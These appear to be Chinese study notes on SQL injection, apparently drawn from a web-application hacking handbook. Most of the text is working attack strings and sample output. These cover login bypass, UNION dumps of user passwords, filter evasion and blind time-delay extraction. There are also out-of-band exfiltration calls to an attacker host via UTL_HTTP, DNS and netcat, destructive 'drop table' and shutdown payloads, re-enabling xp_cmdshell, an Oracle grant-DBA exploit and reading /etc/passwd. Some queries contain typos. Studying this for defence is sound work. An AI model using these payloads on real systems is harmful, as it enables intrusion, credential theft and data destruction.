select * from users where username = 'admin'
不知道管理员用户名,直接使用第一个账户登录,因为大多数应用程序中数据库的第一个账户为管理账户.
②input: 'or 1=1--
select * from users where username =' ' or 1=1 //该查询将返回全部应用程序用户的资料
常规漏洞
①搜索有Wiley出版的书籍:
select author,title,year from books where publisher = 'Wiley' and published = 1
②如果用户搜索O'Reilly出版的书籍 将报错
select author,title,year from books where publisher = 'O'Reilly' and published=1
③于是..返回零售商目录中的每一本书籍
Wiley' or 1=1--
select author,title,year from books where publisher = 'Wiley' or 1=1--' and published=1
//对开发者查询中的where子句进行修改,增加了另外一个条件.数据库将检查书籍表的每一行,
提取published列值为wiley或其中1=1的每条记录.因为1总是等于1,所以将返回所有记录.
published=1表示已出版,通过双连字符后加入一个空格或者#符号注释掉即可返回包括未出版的所有书籍.
④有时候可不使用注释符号处理字符串末尾的引号,而用一个需要引号包含的字符串数据结束注入的输入.以此"平衡引号"
wiley' or 'a' ='a
select author,title,year from books where publisher = 'wiley' or 'a' ='a' and published=1
//这个查询完全有效,与1=1攻击法结果相同.
Insert
如果一个应用程序允许用户自我注册..
①insert into users (username,password,ID,privs) values ('daf','secret',2248,1)
注入username字段
foo','bar',9999,0)--
建立一个ID为9999,privs为0的账户,若privs字段控制账户权限,即创建了一个管理用户.
②无法提取知道需要提交多少个参数或参数的类型,可以持续增加一个新的字段,
直到应用程序创建了确实想要创建的用户账户,从而解决上述问题.
Foo')--
Foo',1)--
Foo',1,1)--
Foo',1,1,1)--
若发现使用值1仍找到拒绝,可以尝试使用值2000
update
更新密码语句
①update users set password = ‘newsecret’ where user = ‘marcus’ and password = ‘secret’
会检查原始账户密码是否正确,避开密码检查,更新密码为admin
admin'--
update users set password = ‘admin'
②更新每一个用户的密码为admin
admin' or 1=1--
update users set password = ‘admin' or 1=1
③破坏数据可以使用delete语句
注入字符串数据
①测试可以用' 或者''(两个'会转义成一个'的作用)
②使用SQL连接符建立一个等同于"良性"输入的字符串
Oracle: '||'FOO
MS-SQL: '+'FOO
MySQL: ' 'FOO
③特定的参数中提交%通配符来确定应用程序是否正与后端数据库交互,
例如搜索中提交%通常会返回大量结果,表明输入正被传送到SQL查询中.
注入数字数据
①尝试输入一个结果等于原始数字值的简单数学表达式,
例如原始值为2,尝试提交1+1或者3-1
②使用复杂特殊的SQL关键字和语法表达式进一步证明.
67-ASCⅡ('A') //表达式结果是2,因为A的ASCⅡ值为65
③如果'被过滤.
51-ASCⅡ(1) //表达式结果是2,因为1的ASCⅡ值为49
必须编码的
①&和=用于连接名/值时.建立查询字符串和POST数据块,应当进行url编码
&: %26
=: %3d
②查询字符串中不允许使用空格,如果提交空格会使字符串终止.
空格: +或者%20
③由于+编码用于编码空格,如果想使用+,进行url编码
+": %2b
例如1+1:1%2b1
④分号是用于分隔cookie字段,也许编码
: %3b
注入查询结构
查询结构最常见的是order by子句,order by关键字接受某个列名称或编号,
并根据该列中的值对结果集进行排序.
①使用以下查询检索一个可排序的图书表
select author,title,year from books where publisher = 'Wiley' order by title ASC
如果order by中的列名称title由用户指定,就没有必要使用单引号,
因为用户提交的数据已经直接修改了SQL查询的结构.
②order by 1: 依据第一个列进行排序
order by 2: 依据第二个列进行排序
...//逐个增加请求,提交的数字大于结果集中的列数查询将失败.
③可以使用以下字符串,检查是否可以颠倒结果的顺序,从而确认是否可以注入其他SQL
1 ASC -- //升序排列
1 DESC -- //降序排列
④如果提交数字1生成结果,其中一个列的每一行都包含一个1,
则说明输入可能被插入到查询返回的列的名称中.
select 1.title,year from books where publisher = 'Wiley'
⑤order by实施SQL注入时数据库不会接受查询中的union、where、or或and关键字.
通常需要指定一个嵌套查询来替代参数,如用(select 1 where <<condition>> or 1/0=0)
来替代列名称,对于支持批量查询的数据库,这可能是最有效的注入攻击方式.
"指纹"识别数据库
①根据数据库连接字符串的不同方式进行识别.
在控制某个字符串数据线的查询中,可以在一个请求中提交一个特殊的值,
然后测试各种连接方法,以生成那个字符串.若得到相同结果即可以确定数据库类型.
常用的数据库构建services字符串方式
Oracle: 'serv'||'ices'
MS-SQL: 'serv'+'ices'
MySQL: 'serv' 'ices'
②如果注入数字数据,可以使用下面攻击字符串来识别数据库.
Oracle: BITAND(1,1)-BITAND(1,1)
MS-SQL: @@PACK_RECEIVED-@@PACK_RECEIVED
MySQL: CONNECTION_ID()-CONNECTION_ID()
每个数据项在目标数据库中求知的结果为0,在其他数据库中则会导致错误.
③MS-SQL和Sybase数据库起源相同,因此他们有许多相似之处,
绝大多数针对MS-SQL的攻击技巧同样也适用于Sybase.
④MySQL在处理行内注释的时候,如果一个注释以感叹号开头,接着是数据库版本字符串,
那么只要数据库的实际版本高于或等于那个字符串,应用程序就会将注射内容解释为SQL,
否则将忽略内容,作为注释处理.可利用它来识别数据库的实际版本.
如果使用的MySQL版本高于或等于3.23.02,注入下面的字符串将使select语句的where子句为假
/*!32302 and 1=0*/
UNION操作符
①搜索由Wiley出版的书籍
select author,title,year from books where publisher = 'Wiley'
假设返回如下结果
-----------------------------------------------------------------------------
作者 书名 出版年份
-----------------------------------------------------------------------------
Litchifield The Database Hacker's Handbook 2005
Anley The Shellcoder‘s Handbook 2007
-----------------------------------------------------------------------------
之前提到可以使用Wiley' or 1=1--返回所有书籍结果,
现在我们使用UNION操作符注入另外一个select查询,并将查询结果附加在第一次查询的结果之后.
第二次查询能够从另一个完全不同的数据库表中提取数据.
Wiley’ union select username,password,uid from users--
select author,title,year from books where publisher = 'Wiley’ union select username,password,uid from users--'
这个查询返回最初的搜索结果,接着是用户表的内容
-----------------------------------------------------------------------------
作者 书名 出版年份
-----------------------------------------------------------------------------
Litchifield The Database Hacker's Handbook 2005
Anley The Shellcoder‘s Handbook 2007
admin r00tr0x 0
cliff Reboot 1
-----------------------------------------------------------------------------
如果使用union操作符组合两个或几个select查询的结果,
那么组合的结果的列名称与第一个select查询的列名称完全相同.这表示应用程序在处理被修改的查询结果时,
它无法检测出返回的数据实际上来自一个完全不同的表.UNION查询符可发挥非常大的作用.
②UNION的限制:
a.组合的查询结果必须结构相同,也就是列数必须相同,必须使用按相同顺序出现的相同或兼容的数据类型.
试图注入一个返回错误列数的查询:
Wiley' union select username password from users--
最初的查询返回3列,而注入的查询返回2列,因此数据库返回如下错误
ORA-01789:query block has incorrect number of result columns
试图注入另一个列内数据类型不兼容的查询:
Wiley' union select uid,username,password from users--
数据库将尝试把第二个查询的password列(字符串数据)与第一个查询的year列(数字数据)组合起来.
因为字符串数据无法转换为数字数据,因此数据库返回如下错误
ORA-01790:expression must have same datatype as corresponding expression
b.为注入另一个返回有用结果的查询,必须知道针对数据库表的名称以及有关列的名称.
③为使注入的查询能够与第一个查询结合,不一定要使用完全相同的数据类型.但必须相互兼容.
实际上,NULL值可被转换成任何数据类型.因此如果不知某个特殊字段的数据类型.
只需在那个字段输入select NULL即可.
④攻击的首要任务是查明应用程序的最初查询返回的列数.
a.可以NULL被转换为任何数据类型这一事实,系统性地注入包含不同列数的查询,知道注入的查询得到执行.
' union select null--
' union select null,null--
' union select null,null,null--
查询得到执行说明使用了正确的列数.
b.确定所需的列数后,下一项任务就是找到一个使用字符串数据类型的列,以便通过它从数据库中提取出任意数据.
可以注入一个包含NULL值的查询,并系统性地使用a代替每个NULL,从而完成这项任务,
例如,如果知道查询必须返回3列,可以注入一下查询
' union select 'a',null,null--
' union select null,'a',null--
' union select null,null,'a'--
如果注入的查询得到执行,将看到另一行包含a值的数据,然后就可以使用相关列从数据库中提取数据.
④在Oracle数据库中,每个SELECT语句必须包含一个FROM属性,
因此,无论列数是否正确,注入UNION SELECT NULL将产生一个错误,可以选择使用全局可访问表DUAL来满足这一要求.
'union select null from DUAL--
第一列可提取字符串数据,则可以提取数据库版本
MS-SQL以及MySQL: ' union select @@version,null,null--
Oracle: ' union select banner,null,null from v$version--
---------------------------------------------------------------------------------------------------------------------------
作者 书名 出版年份
---------------------------------------------------------------------------------------------------------------------------
CORE 3.2.0.1.0 Production
NLSRTL Version 9.2.0.1.0-Production
Oracle9i ENterprise Edition Release 9.2.0.1.0-Production
PL/SQL Release 9.2.0.1.0-Production
TNS for 32-bit Windows;Version 9.2.0.1.0-Production
---------------------------------------------------------------------------------------------------------------------------
使用Union提取数据
①在通讯录搜索名为Matthew的联系人,浏览器提交以下参数
Name=Matthew
返回如下结果
-------------------------------------------------------------------
人名 电子邮件地址
-------------------------------------------------------------------
Matthew Adamson handytrick@gmail.com
-------------------------------------------------------------------
②确定请求的列数
Name=Matthew'%20union%20select%20null--
报错,继续添加
添加至如下列数时查询被执行
Name=Matthew'%20union%20select%20null,null,null,null,null--
-------------------------------------------------------------------
人名 电子邮件地址
-------------------------------------------------------------------
Matthew Adamson handytrick@gmail.com
[空] [空]
-------------------------------------------------------------------
③验证查询的第一列是否包含字符串数据
Name=Matthew'%20union%20select%20'a',null,null,null,null--
-------------------------------------------------------------------
人名 电子邮件地址
-------------------------------------------------------------------
Matthew Adamson handytrick@gmail.com
[a] [空]
-------------------------------------------------------------------
④需要查明可能包含有用信息的数据库表和列的名称.
需要查询元数据表information_schema.columns,其中包含数据库表中的所有表和列名称的详细资料.
Name=Matthew'%20union%20select%20table_name,columns,null,null,null%20from%20information_schema.columns--
-------------------------------------------------------------------
人名 电子邮件地址
-------------------------------------------------------------------
Matthew Adamson handytrick@gmail.com
shop_items Price
shop_items Prodid
shop_items Prodname
addr_book Contactemail
addr_book Contactname
Users Username
Users Password
-------------------------------------------------------------------
⑤从以上结果可以确定,很明显可以从用户表开始提取数据
Name=Matthew'%20union%20select%20username,password,null,null,null%20from%20users--
-------------------------------------------------------------------
人名 电子邮件地址
-------------------------------------------------------------------
Matthew Adamson handytrick@gmail.com
administrator fme69
dev uber
marcus 8pinto
smith twosixty
jlo 6kdown
-------------------------------------------------------------------
⑥MS-SQL、MySQL和许多其他数据库(包括SQLite和Postgresql)均支持information_schema.
它主要用于保存数据库元数据,这也使它成为探查数据库的攻击者的主要目标.
⑦Oracle不支持此方案,需要使用查询select table_name,column_name from all_tab_columns
来检索有关数据库表和列的信息(user_tab_columns表以仅针对当前数据库),
通常在分析大型数据库以探查攻击目标时,最好是查找有用的列名称而不是表
select table_name,columns_name from information_schecolumns where column_name like '%PASS%'
⑧如果目标表返回了多个列,则可以将这些列串连到单独一个列中,这样检索起来比会更加方便,
因为这时只需要在原始查询中确定一个varchar字段
Oracle: select table_name||':'||column_name from all_tab_columns
MS-SQL: select table_name+':'+column_name from information_schema.columns
MySQL: select concat(table_name,':',column_name) from information_schema.columns
避开过滤
①避免使用被阻止的字符
a.如果要注入的数字数据字段或列字段,不一定必须使用单引号.
这时可通过各种字符串函数,使用每个字符的ASCⅡ代码动态构建一个字符串
例如select ename,sal from emp where ename='marcus'
下面两个查询分别用于Oracle和MS-SQL
select ename,sal from emp where ename=CHR(109)||CHR(97)||CHR(114)||CHR(99)||CHR(117)||CHR(115)
select ename,sal from emp where ename=CHR(109)+CHR(97)+CHR(114)+CHR(99)+CHR(117)+CHR(115)
marcus : CHR(109)CHR(97)CHR(114)CHR(99)CHR(117)CHR(115)
b.如果注释符号被阻止,通常可以设计注入的数据使其不会破坏周围查询的语法.
' or 1=1-- //--被阻止
' or 'a'='a //使用'a来连接后面的'
c.在MS-SQL数据库中注入批量查询时,不必使用分号分隔符.
只要纠正所有批量查询的语法,无论是否使用分号查询分析器都会正确解释他们.
②避免使用简单确认
一些输入确认机制使用一个简单的黑名单,阻止或删除任何出现在这个名单中的数据(过滤)
这种情况下,应该尝试使用标准的攻击方法,寻求确认和规范化机制中的常见缺陷.
例如select关键字被阻止或删除,可以尝试以下输入
SeLeCt //大小写
%00SELECT
SELSELECTECT //过滤中间的SELECT剩下SELECT
%53%45%4c%45%43%54 //url编码
%2553%2545%254c%2545%2543%2554 //url_utf编码
③使用SQL注释
a.我们可以在SQL语句中插入行内注释,注释内容包含在/*和*/之间,
如果应用程序阻止或删除输入中的空格,可以使用注释来"冒充"注入数据中的空白符.
select/*foo*/username,password/*foo*/from/*foo*/ users
b.在MySQL中,注释甚至可以插入关键字中,这种方法可避开某些输入确认过滤.同时保留查询中的语法.
sel/*foo*/ect username,password fr/*foo*/om users
④利用有缺陷的过滤
输入确认机制通常包含逻辑缺陷,可对这些缺陷加以利用,使被阻止的输入避开过滤.
多数情况下,这类工具会利用应用程序在对多个确认步骤进行排序,或未能以递归方式应用净化逻辑方面的缺陷.
二阶SQL注入
①在一些应用程序中,用户输入在到达时通过转义单引号来进行确认
select author,title,year, from books where publisher = 'O''Reilly'
查询O'Reilly在这个查询中,用户提交的单引号被转换为两个单引号
②注册用户名foo',将不会在数据库中造成问题.
insert into users (username,password,ID,privs) values ('foo''','secret',2248,1)
③一切正常,然而,假设应用程序还执行密码修改功能,那么只有通过验证的用户才能够访问这项功能.
而且为了加强保护,应用程序要求用户提交原始密码.然后核对用户提供的密码是否正确.
要完成核对任务,首先要从数据库中提取用户的用户名,然后建立如下查询
select password from users where username = 'foo''
在字符串被传送给数据库时会使用配对的转义序列,
当应用程序重复使用这个字符串并将它嵌入到另一个查询中时,就会造成一个SQL注入漏洞.
用户最初的恶意输入就被嵌入到查询中.当用户尝试修改密码时,应用程序返回一下信息,暴漏了缺陷
Unclosed quotation mark before the character string 'foo
④要利用这种漏洞,攻击者只需要注册一个包含专门设计的输入用户名,然后尝试修改密码
例如以下用户名
' or 1 in (select password from users where username='admin')--
注册步骤也会被应用程序安全处理,若攻击者尝试修改密码,他注入的查询就会执行,导致生成一下消息,泄漏管理员的密码
Microsoft OLE DB Procider for ODBC Drivers error '80040e07'
[Microsoft] [ODBC SQL Server Driver] [SQL Server]Syntax error converting
the varchar value 'fme69' to a columns of data type int.
成功避开旨在阻止SQL注入攻击的输入确认,现在能够在数据库中执行任意查询并获得查询结果.
高级利用
并非所有攻击都旨在盗窃敏感数据,一些攻击可能更具破坏性,
例如仅提交12个字符的输入就能够使用关闭命令关闭一个MS-SQL数据库
' shutdown--
攻击者还可以注入恶意命令,如下面这些命令可删除一些数据库表
' drop table users--
' drop table accounts--
' drop table customers--
①获取数字数据
如果包含单引号的输入得到正确处理,那么应用程序中的字符串字段就不易受到SQL注入攻击.
但是数字数据字段可能仍然存在漏洞,在这种字段中用户的输入并不包含在单引号中.
这时攻击者自由港通过应用程序的数值相应(numeric response)才能获得注入查询的结果.
在这种情况下,需要做的是获取数字形式的有用数据,对注入查询的结果进行处理.
可以使用一下两个关键函数
ASCII,它返回输入字符的ASCⅡ代码;
SUBSTRING(或Oracle中的SUBSTR),它返回输入的子字符串.
这些函数可结合在一起使用,以数字形式从一个字符串提取单独一个字符.
SUBSTRING('Admin',1,1)返回A
ASCII('A')返回65
因此
ASCII(SUBSTRING('Admin',1,1))返回65
使用这两个函数可以系统地将一个有用的数据的字符串分割成单个字符,并以数字形式分别返回每一个字符.
在自定义攻击中,可以利用这种技巧,以一次一字节的速度迅速获得并重建大量基于字符串的数据.
②使用带外通道
许多时候可以注入任意一个查询,但却无法获得查询结果,回到那个易受攻击的登录表单.
a.它的用户名和密码字段易于遭受SQL注入
select * from users where username='marcus' and password='secret'
b.除了修改查询逻辑以避开登录外,还可以注入一个完全独立的子查询,
使用字符串连接符把这个子查询的结果与控制的数据项连接起来.
foo'||(select 1 from dual where (select username from all_users where username='DBSNMP')='DBSNMP')--
应用程序将执行以下查询
select * from users where username='foo'||(select 1 from dual where (select username from all_users where username='DBSNMP')='DBSNMP')
数据库将执行注入的子查询并把结果附加在foo之后,然后查找所生成用户名的资料.
当然这种登录不会成功,但会执行注入的查询.在应用程序响应中收到的只是标准的登录失败消息.
c.现在需要想办法获得查询的结果,获取数据的有效方法是使用带外通道.
能够在数据库中执行任意SQL语句后利用数据库的一些内置功能在数据库与自己的计算机之间建立网络连接,
然后通过它传送数据库中收集到的任何数据.建立适当的网络连接的方法依不同的数据库而定且取决于用户权限.
c-1.MS-SQL
一些老式数据库,例如MS-SQL2000以及更早的版本,
可使用OpenRowSet命令与外部数据库建立连接并在其中插入任何数据.
将目标数据库与攻击者数据库建立连接,并将目标数据库的版本字符串插入表foo中
insert into openrowset('SQLOLEDB','DRIVER={SQL Server};SERVER=test.net,80;UID=sa;PWD=letmain','select * from foo') values (@c@version)
可以指定80端口或者其他可能的值,以提高穿透防火墙建立外部连接的可能性.
c-2.Oracle
Oracle中包含大量低权限用户可访问的默认功能,可以使用他们建立带外连接.
UTL_HTTP包可用于向其他主机提出任意HTTP请求.
使用UTL_HTTP想攻击者控制的服务器传送注入查询的结果
/employees.asp?EmpNo=7521'||UTL_HTTP.request('test.net:80/'||(select%20username%20from%20all_users%20where%20rownum%3d1))--
这个URL促使UTL_HTTP提出一个GET请求,要求访问包含all_users表中第一个用户名的URL.
这时攻击者只需在test.net中安装一个netcat监听器即可收到结果.
c:\nc -nLP 80
GET /SYS HTTP/1.1
HOST:test.net
Connection:close
UTL_INADDR包旨在将主机名解析为IP地址,他可用于在攻击者控制的服务器中生成任意DNS查询.
许多时候,相比于UTL_HTTP攻击,这类攻击更可能取得成功.因为DNS流量能够穿透企业防火墙.
攻击者能够利用这个包查找选择的主机名,将他作为子域放在他们控制的一个域名前面.
/employees.asp?EmpNo=7521'||UTL_INADDR.GET_HOST_NAME((select%20password%20from%20DBA_USERS%20where%20name='sys')||'.test.net')
它向包含sys用户的密码散列的test.net名称服务器发出下面这个DNS查询
DCB748A5BC5390F2.test.net
UTL_SNMP包可用于发送电子邮件。在出战电子邮件中发送这个包,即可获得大量从数据库中截取的数据。
UTL_TCP包可用于打开任意TCP套接字,以发送和接受网络数据.
在Oracle 11g中,ACL为上述许多资源提供保护,以防止任意数据库用户执行恶意操作.
避开ACL方法:
SYS.DBMS.LDAP.INIT((select password from sys user$ where name='sys')||‘.test.net’,80)
c-3MySQL
select...into outfile命令可以将任意一个查询的输出指向一个文件.
指定的文件名可包含UNC路径,允许将输出指向自己计算机上的一个文件.
select * into outfile '\\\\test.net\\share\\output.txt' from users;
要想接收到文件,必须在计算机上建立SMB共享,允许匿名写入访问.
c-4利用操作系统
通常可以在数据库服务器的操作系统上执行任意命令,以此实施权限提升攻击.
这时可使用tftp、mail和telnet等内置命令将数据复制到Web根目录使用浏览器读取.
③使用推论:条件式响应
若数据库处在一个受保护的网络中,他的边界防火墙进制任何与因特网或其他网络的带外连接.
只能通过Web应用程序注入点访问数据库.
使用一个注入查询有条件地在数据库中触发某种可以探测的行为,从而推断出所需信息.
可注入用户名和密码字段以查询任意查询的登录功能:
select * from users where username = 'marcus' and password = 'secret'
假设还没有找到将注入查询的结果返回给浏览器的方法,但我们已知如何使用SQL注入改变应用程序的行为.
例如提交下面两个输入将得到截然不同的结果:
admin' and 1=1-- //允许攻击者以管理员身份登录
admin' and 1=2-- //尝试登录失败,因为1=2总为假
可以利用这种应用程序行为控制推断数据库中任意条件的真假.
例如,使用前面描述的ASCII和SUBSTRING函数,攻击者可以测试截获字符串中的一个字符是否为特定的值得.
提交下面这段输入将允许攻击者以管理员身份登录,因为经测试条件为真:
admin' and ASCII(SUBSTRING('Admin',1,1)) = 65--
但是提交下面的输入,登录不会取得成功,因为条件为假
admin' and ASCII(SUBSTRING('Admin',1,1)) = 66--
提交大量这类查询,循环每个字符的所有可能的ASCII编码,知道出现一个"触点",
就能够以每次一个字节的速度,提取出整个字符串.
a.引发条件式错误
有时注入的查询不会给应用程序的欣慰(如日志机制)造成直接影响.或者应用程序并不处理注入的一个子查询或批量查询.
攻击者必须根据特定的条件争取在应用程序中造成可探测的行为差异.
David Litchifield发现一个可在大多数情况下触发可探测行为差异的技巧.
通过注入一个查询,依照某个特定的条件引发一个数据库错误.如果发送数据库错误,
可以通过HTTP500相应码,或者通过某种错误消息或反常行为(即使错误消息本身并未揭示任何有用的信息),从外部探测到这个错误.
这种技巧利用了数据库在求条件语句的值时表现出的一个行为特点:
数据库将根据其它部分的情况,进队那些需要求值的语句部分求值.
包含WHERE子句的SELECT语句就是表现出这种行为的一个典型示例:
select X from Y where C
这条语句使数据库访问表Y的每一行,评估条件C.
如果C为真,返回X.如果条件C永为假则永不会求出表达式X的值.
可以找到一个语法有效但如果求值就会发生错误的表达式X,对这种行为加以利用.
在Oracle与MS-SQL中,被零除计算就是这样的表达式,如1/0.
如果条件C为真,那么求表达式X的值,这造成一个数据库错误.
如果条件C为假,就不会发生错误.
因此可以通过是否发生错误测试任意一个条件C.
查询默认的Oracle用户DBSNMP是否存在,如果该用户存在,就会求表达式1/0的值,造成错误.
select 1/0 from dual where (select username from all_users where username = 'DBSNMP') = 'DBSNMP'
查询虚构用户AAAAAA是否存在,因为where条件永为假,所以不求表达式1/0的值,因而不会发生错误.
select 1/0 from dual where (select username from all_users where username = 'AAAAAA') = 'AAAAAA'
这种技巧的目的是在应用程序中引发一个条件性响应,利用它可使用前面描述的推论技巧在各种情况下提取到所需数据.
由于这种技巧非常简单,相同的共计字符串可应用于一系列数据库,其中的注入点则位于各种类型的SQL语句中.
他可以用在可以注入子查询的各种注入点中,如:
(select 1 where <<condition>> or 1/0=0)
以一个提供可搜索并可排序的联系人数据库的应用程序为例,用户控制着department和sort参数:
/search.jsp?department=30&sort=ename
以上代码出现在以下后端查询中,该查询确定了department参数的值,但将sort参数连接到查询中.
String queryText = "SELECT ename,job,deptno,hiredate FROM emp WHERE deptno = ? ORDER BY " + request.getParameter("sort") + "DESC";
攻击者无法修改WHERE子句或在ORDER BY子句后进行UNION查询,但攻击者可以通过以下语句建立某种推断条件:
/search.jsp?department=20&sort=(select%201/0%20from%20dual%20where%20(select%20substr(max(object_name),1,1)%20from%20user_objects)='Y')
如果user_objects表中的第一个对象名称第一个字母等于'Y',
将导致数据库尝试对1/0求值,这会导致错误.整个查询不会返回任何结果.
如果第一个字母不等于'Y',原始查询的结果将按默认顺序返回.
通过对Absinthe或SQLMap之类的SQL注入工具仔细设定这个条件,我们可以检索数据库中的每一条记录.
b.使用时间延迟
有些情况下,可以注入一个不会在浏览器中显示结果的查询,但由于无法建立带外通道.
即使它在数据库中引发错误,也不会给应用程序的行为造成任何影响.
NGSSoftware的Chris Anley和Sherief Hammad发现一个技巧.
设计出一个根据攻击者指定的条件造成时间延迟的查询.
攻击者可以提交他设计的查询,然后监控服务器做出响应所花的时间.如果发生延迟,攻击者可推断条件为真.
即使两种情况下应用程序的响应完全相同,攻击者仍然可根据是否存在时间延迟从数据库中提取1bit数据.
通过大量执行这类查询,攻击者就能够系统性地从数据库中提取任何复杂的数据,每次一比特.
引发适当时间延迟方法的精确性取决于所使用的目标数据库.
MS-SQL中包含了一个内置WAITFOR命令,可用于引发一个指定的时间延迟.
例如当前数据库用户为sa,下面的查询将会造成5秒钟的时间延迟:
if (select user) = 'sa' waitfor delay '0:0:5'
使用这个命令攻击者就能够以各种方式提取任何信息.
一种方法是利用前面已经描述的,在应用程序返回条件性响应时用到的相同技巧.
现在如果满足一个特殊条件,注入的查询就不再触发一个不同的应用程序响应,相反它引发一次时间延迟.
例如,下面的第二个查询将引发一次时间延迟,表示被截获字符串的第一个字母为A
if ASCII(SUBSTRING('Admin',1,1)) = 64 waitfor delay '0:0:5'
if ASCII(SUBSTRING('Admin',1,1)) = 65 waitfor delay '0:0:5'
攻击者可以循环使用每个字符的所有可能值,直到发生时间延迟.
另外可以通过减少所需请求的数量,提高攻击的效率.
另一个技巧是将每个字节的数据划分为比特,并在每次查询中获得一比特的数据.
POWER命令和按位"与"运算符&可在逐比特的基础上指定条件.
例如以下查询测试被拦截数据的第一字节的第一比特,比如其值为1,终止查询:
if (ASCII(SUBSTRIN('Admin',1,1))&(POWER(2,0))) > 0 waitfor delay '0:0:5'
下面的查询对第二比特执行相同的测试:
if (ASCII(SUBSTRIN('Admin',1,1))&(POWER(2,1))) > 0 waitfor delay '0:0:5'
如前所述,这种引发时间延迟的方法准确性在很大程度上取决于所使用的数据库.
在当前版本的MySQL中,睡眠函数可创建指定时间的时间延迟,例如:
select if(user() like 'root@%',sleep(5000),'false')
在5.0.12版本之前的MySQL中,不能使用睡眠函数,
但可使用基准函数(benchmarkfunction)重复执行一个特定的操作.指示数据库执行一个处理器密集型操作.
比如SHA-1散列,大量的操作次数将造成一次可测量的时间延迟,例如:
select if(user() like 'root@%',benchmar(50000,sha1('test')),'false')
在PostgreSQL中可使用PG_SLEEP函数,其使用方法与MySQL睡眠函数相同.
在Oracle中,没有产生时间延迟的内置方法,一种方法是使用UTL_HTTP连接一个不存在的服务器,
造成一次操作超时,这会使数据库尝试与指定的服务器建立连接,并最终造成延迟.例如:
SELECT 'a'||Utl_Http.request(''http://madeupserver.com) from dual
...delay...
ORA-29273:HTTP request failed
ORA-06512:at "SYS.UTL.HTTP".line 1556
ORA-12545:Connect failed because targer host or object does not exist
可以利用这种行为根据指定的某个条件造成时间延迟.
例如,如果默认的ORA账户DBSNMP存在,下面的查询将会造成一次超时:
SELECT 'a'||Utl_Http.request(''http://madeupserver.com) FROM dual WHERE (SELECT username FROM all_users WHERE username = 'DBSNMP') = 'DBSNMP'
如前所述,在Oracle和MySQL数据库中,都可以使用SUBSTR(ING)和ASCII函数每次一字节地获取任意信息.
另外,在对应用程序进行初步探查、检测SQL注入漏洞时,时间延迟技巧也可能非常有用.
在一些完全盲目的SQL注入攻击中,浏览器中不会显示查询结果,所有错误都被应用程序以隐含的方式处理.
使用提交专门设计的输入的标准技巧可能很难检测出漏洞.
这时,使用时间延迟是在初步探查的过程中检测一个漏洞是否存在的最有效方法.
例如,如果后端数据库为MS-SQL,那么可以将下面的两个字符串轮流注入每个请求参数中,
并监视应用程序响应请求所用的时间.从而确定所有漏洞:
'; waitfor delay '0:30:0'--
1; waitfor delay '0:30:0'--
扩大数据库攻击范围
①MS-SQL
最常被攻击者滥用的数据库功能可能是xp_cmdshell存储过程,它是MS-SQL默认内置的一项功能.
这个存储过程允许数据库管理员用户以和cmd.exe命令提示符相同的方式执行操作系统命令.
例如:master..xp_cmdshell 'ipconfig > test.txt'
攻击者可在众多情况下滥用这项功能,他们可以执行任意命令,将结果指向本地文件,然后读取文件内容.
他们可以打开一个连通自己计算机的带外网络连接,并建立一条秘密的命令和通信渠道,
从服务器复制数据并上传攻击工具.执行任意操作.
MS-SQL中还有许多其他存储过程,比如xp_regread或xp_regwrite,可用于在windows操作系统注册表中执行强大的操作.
互联网上的大多数MS-SQL为MS-SQL 2005或更高版本.这些版本提供各种安全功能,
可以在默认情况下锁定数据库,以防止各种攻击.
但是如果数据库中的Web应用程序用户账户拥有足够高的权限,则通过重新设置数据库就可以突破锁定.
例如可以使用sp_configure存储过程重新启用被禁用的xp_cmdshell.以下4行SQL代码用于实现这一目的:
execute sp_configure 'show advanced options', 1
reconfigure with override
execute sp_configure 'xp_cmdshell','1'
reconfigure with override
这样,xp_cmdshell就被重新启用,并可以通过以下命令运行:
exec xp_cmdshell 'dir'
②Oracle
人们已经在Oracle数据库软件中发现了大量安全漏洞,如果找到一个允许执行任意查询的SQL注入漏洞.
那么就可以利用这种漏洞提升到数据库管理员权限.
Oracle包含许多可在数据库管理员权限下运行的内置的存储过程,并已发现在这些存储过程中存在SQL注入漏洞.
例如在2006年7月的重要补丁发布之前,存在与默认包SYS.DBMS.EXPORT_EXETENSION,GET_DOMAIN_INDEX_TABLES
中的缺陷就是一个典型的实例,攻击者可以利用这个缺陷在易受攻击的字段中注入grant DBA to public查询来提升权限:
select SYS.DBMS.EXPORT_EXETENSION,GET_DOMAIN_INDEX_TABLES ('INDX','SCH','TEXTINDEXMETHODS''.ODCIIndexUtilCleanup(:p1);execute immediate' 'declare pragma autonomous_transaction;begin execute immediate' ' ' 'grant dba to public' ' ' ' ; end;' '; END;--' , 'CTXSYS',1,'1',0) from dual
这种类型的攻击可通过利用Web应用程序中的SQL注入漏洞,在易受攻击的参数中注入函数来实现.
除了这些漏洞外,Oracle还含有大量默认功能,这些功能可被低权限用户访问,并可用于执行各种敏感操作.
如建立网络连接或访问文件系统.除了前面描述的用于建立带外连接的功能强大的包之外,
UTL_FILE包可用于在数据库服务器文件系统上读取和写入文件.
2010年,David Litchfield演示了如何在Oracle 10g R2和11g中利用Java来执行操作系统命令.
该攻击首先利用DBMS_JVM_EXP_PERMS.TEMP_JAVA_PRLICY中的缺陷授予当前用于java.io.filepermission权限.
然后使用DBMS_JAVA.RUNJAVA执行操作系统命令的Java类(oracle/aurora/util/Wrapper).
例如:DMBS_JAVA.RUNJAVA('oracle/aurora/util/Wrapper c:\\windows\\system32\\cmd.exe /c dir>c:\\out.lst')
可通过访问以下链接了解相关详情:
www.databasesecurity.com/HackingAurora.pdf
www.notsosecure.com/folder2/2010/08/02/blackhat-2010/
③MySQL
MySQL中包含的可被攻击者滥用的内置功能相对较少,其中一个实例是任何拥有FILE_RPIV许可的用户都可以读取并写入文件系统.
LOAD_FILE命令可用于获取任何文件的内容.
例如select load_file('etc/passwd')
select ...into outfile命令可用于将任何一个查询的输出指向一个文件.
例如:
create table test (a varchar(200))
insert into test(a) values ('+ +')
select * from test into outfile 'etc/hosts.equiv'
除读取并写入关键的操作系统外,这些命令还可用于执行其他攻击.
a.因为MySQL将数据保存在明文文件中,数据库必须拥有读取这些文件的权限,
拥有FILE_PRIV许可的攻击者可以打开相关文件并读取数据库中的任何数据.
避开数据库实施的任何访问控制.
b.MySQL允许用户通过一个包含函数执行过程的编译库文件创建一个用户自定义的函数(UDF).
这个文件必须位于MySQL加载动态库的正常路径内.攻击者可以在这个路径中创建任意二进制文件,
然后建立使用这个文件的UDF.可以参阅Chris Anley的论文"Hackproofing MySQL"深入了解.
www.databasesecurity.com/mysql/HackproofingMySQL.pdf